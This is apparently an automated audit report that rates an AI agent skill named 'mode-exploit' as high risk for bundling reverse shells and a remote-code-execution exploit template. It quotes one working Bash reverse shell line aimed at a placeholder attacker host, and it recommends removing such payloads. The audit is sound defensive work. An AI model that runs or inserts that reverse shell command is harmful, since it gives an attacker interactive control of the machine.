mode-exploit
Fail
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides a functional Bash reverse shell payload (
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1). This command allows a remote user to gain an interactive shell on the machine where it is executed by redirecting standard input/output over a TCP connection.\n- [REMOTE_CODE_EXECUTION]: The skill includes a Python reverse shell payload using thesocket,subprocess, andosmodules. This script connects to a remote attacker IP/port and provides a functional shell session.\n- [REMOTE_CODE_EXECUTION]: An exploit template is provided that is specifically designed to facilitate Remote Code Execution (RCE), providing a command-line interface to execute arbitrary commands against targets.\n- [REMOTE_CODE_EXECUTION]: Remediation: Do not include functional reverse shell payloads in skill instructions. Replace executable exploit code with non-functional pseudocode or abstract examples to prevent direct misuse for unauthorized access.
Recommendations
- AI detected serious security threats
Audit Metadata